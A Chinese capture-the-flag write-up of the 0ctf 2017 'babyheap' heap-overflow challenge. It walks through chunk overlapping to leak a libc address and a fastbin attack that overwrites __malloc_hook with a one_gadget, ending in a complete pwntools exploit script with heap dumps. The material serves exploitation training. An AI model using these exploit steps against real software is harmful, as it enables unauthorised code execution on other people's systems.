堆溢出|libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap

前言: 此题为libc2.26以下的libc环境,在libc2.27及以上不一定行得通。
解题思路: 查看保护: 堆溢出|libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap
文章图片

保护全开的64位程序。
观察IDA伪代码: 我们进入IDA看看程序(在此之前建议先运行一遍程序,看看程序的逻辑)。
堆溢出|libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap
文章图片

标准的菜单题,题目先申请了一块堆结构来保存接下来我们要申请的堆地址,在开了保护的情况下,我们并不能很容易的找到这块堆地址在哪,这样我们就很难把堆块劫持到这个上面。
我们看看各个功能:

堆溢出|libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap
文章图片

本题采用了calloc来申请堆块,这样对于申请的堆块来说,原有的数据就会被清除掉,这样我们想利用二次申请堆块来泄露libc基址和堆基址的思路就泡汤了,本题的堆申请顺序是删除堆后申请新的堆可占用原有堆的序号。例如,删除1号堆块立马申请一个堆块,这个堆块的序号就是1号。

堆溢出|libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap
文章图片

删倒是删的很干净,全部置空了,我们就不能利用UAF了。

堆溢出|libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap
文章图片

这个题目的增加并不能在堆块中添加数据,这个步骤要到改中来实现,并且size由我们来决定,这样改中也就存在着本题最明显也是本文中要用到的一个漏洞——堆溢出漏洞。

堆溢出|libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap
文章图片

根据堆块的序号来查询堆块的内容。
思路总结:
我们已经发现了本题的一个堆溢出漏洞,我们就来思考一下如何利用这个漏洞。
我们的目的有两个:1.首先我们应该泄露出libc基址,这样我们就能利用onegadget来getshell。
2.在本题中我们很难泄露出堆基址,所以我们很难利用到保存了堆结构的堆块,并且保护中开了Full RELRO,我们就不能改写got表。这样的话,我们最容易想到的就是改写malloc_hook了,并且刚好在本题也行得通。
目的1:
我们想要泄露出libc基址,有一个很容易想到的办法就是查看已经free掉的unsortedbin中的堆块的fd和bk指针,他们指向了main_arena + 88的位置,而这个位置减去0x68就是malloc_hook的位置,我们就可以利用malloc_hook来泄露出libc基址了。
但是本题并不存在明显的UAF漏洞,我们该如何在没有被free的堆块中存储main_arena + 88的地址呢?
毫无疑问,我们要使用堆块重叠的技巧了。

new(0x60) new(0x40) payload = 'a' * 0x60 + p64(0) + p64(0x71) edit(0, len(payload), payload)

首先我们申请两个堆块,都保持在fastbin的范围内,然后利用堆溢出漏洞修改1号堆块的size位为0
x71,就会达到这样的效果:
0x55d2c7ad3000: 0x0000000000000000 0x0000000000000071#0号堆块 0x55d2c7ad3010: 0x6161616161616161 0x6161616161616161 0x55d2c7ad3020: 0x6161616161616161 0x6161616161616161 0x55d2c7ad3030: 0x6161616161616161 0x6161616161616161 0x55d2c7ad3040: 0x6161616161616161 0x6161616161616161 0x55d2c7ad3050: 0x6161616161616161 0x6161616161616161 0x55d2c7ad3060: 0x6161616161616161 0x6161616161616161 0x55d2c7ad3070: 0x0000000000000000 0x0000000000000071#1号堆块 0x55d2c7ad3080: 0x0000000000000000 0x0000000000000000 0x55d2c7ad3090: 0x0000000000000000 0x0000000000000000 0x55d2c7ad30a0: 0x0000000000000000 0x0000000000000000 0x55d2c7ad30b0: 0x0000000000000000 0x0000000000000000 0x55d2c7ad30c0: 0x0000000000000000 0x0000000000020f41#top

这样当我们free掉1号堆块再次申请0x60大小的堆块时,堆块的位置会在一号堆块这里,在这之前我们先在一号堆块之后申请一块unsortedbin范围大小的堆块。
new(0x100) payload = 'a' * 0x10 + p64(0) + p64(0x71) edit(2, 0x20, payload) delete(1) new(0x60) edit(1, 0x50, 'a' * 0x40 + p64(0) + p64(0x111)) new(0x50) delete(2)

此时我们申请一块大小为0x100的堆块,此堆块free后会存储main_arena地址,为泄露做准备。
由于再次申请0x60的堆块会把0x100的的堆头清除掉(calloc的作用),我们先伪造0x71的堆头,防止堆块申请时检测出问题。然后在申请完之后我们要把原来的堆头改写回来。这里申请一个0x50的堆块是为了防止free的堆块和top堆块合并。做好这些后我们就可以free掉2号堆块了,然后就可以看到下面的效果:
0x55601c27e000: 0x0000000000000000 0x0000000000000071#0号堆块 0x55601c27e010: 0x6161616161616161 0x6161616161616161 0x55601c27e020: 0x6161616161616161 0x6161616161616161 0x55601c27e030: 0x6161616161616161 0x6161616161616161 0x55601c27e040: 0x6161616161616161 0x6161616161616161 0x55601c27e050: 0x6161616161616161 0x6161616161616161 0x55601c27e060: 0x6161616161616161 0x6161616161616161 0x55601c27e070: 0x0000000000000000 0x0000000000000071#1号堆块 0x55601c27e080: 0x6161616161616161 0x6161616161616161 0x55601c27e090: 0x6161616161616161 0x6161616161616161 0x55601c27e0a0: 0x6161616161616161 0x6161616161616161 0x55601c27e0b0: 0x6161616161616161 0x6161616161616161 0x55601c27e0c0: 0x0000000000000000 0x0000000000000111#2号堆块、1号堆块 0x55601c27e0d0: 0x00007ff38ae08b78 0x00007ff38ae08b78 0x55601c27e0e0: 0x0000000000000000 0x0000000000000071 0x55601c27e0f0: 0x0000000000000000 0x0000000000000000 0x55601c27e100: 0x0000000000000000 0x0000000000000000 0x55601c27e110: 0x0000000000000000 0x0000000000000000 0x55601c27e120: 0x0000000000000000 0x0000000000000000

此时产生的堆重叠刚好让1号堆块包含了2号堆块存储的main_arena地址,这样我们只要show一下1号堆块我们就能接受到main_arena的地址了。
目的2:
【堆溢出|libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap】泄露出main_arena的地址就相当于把libc基址也泄露了,这样我们目的1就完成了,接下来我们就是要把堆块劫持到malloc_hook处,由于存在堆溢出,我们直接利用fastbin attack就行。
由于fastbin attack十分经典,这里就不多做解释,直接上exp。
完整exp:
#! /usr/bin/env python from pwn import *p = process('./0ctf_2017_babyheap') elf = ELF('./0ctf_2017_babyheap') libc = ELF('./libc.so.6')def new(size): p.sendlineafter('Command: ', '1') p.sendlineafter('Size: ', str(size))def edit(index, size, content): p.sendlineafter('Command: ', '2') p.sendlineafter('Index: ', str(index)) p.sendlineafter('Size: ', str(size)) p.sendlineafter('Content: ', content)def delete(index): p.sendlineafter('Command: ', '3') p.sendlineafter('Index: ', str(index))def show(index): p.sendlineafter('Command: ', '4') p.sendlineafter('Index: ', str(index))new(0x60) new(0x40) payload = 'a' * 0x60 + p64(0) + p64(0x71) edit(0, len(payload), payload) new(0x100) payload = 'a' * 0x10 + p64(0) + p64(0x71) edit(2, 0x20, payload) delete(1) new(0x60) edit(1, 0x50, 'a' * 0x40 + p64(0) + p64(0x111)) new(0x50) delete(2) show(1) main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) print hex(main_arena) malloc_hook = main_arena - 0x68 libc_base = malloc_hook - libc.sym['__malloc_hook'] delete(1) payload = 'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 0x13 - 0x10) edit(0, len(payload), payload) new(0x60) new(0x60) payload = '\x00' * 0x3 + p64(0) + p64 (0) + p64(libc_base + 0x4526a) edit(2, len(payload), payload) new(0x60) p.interactive()

    推荐阅读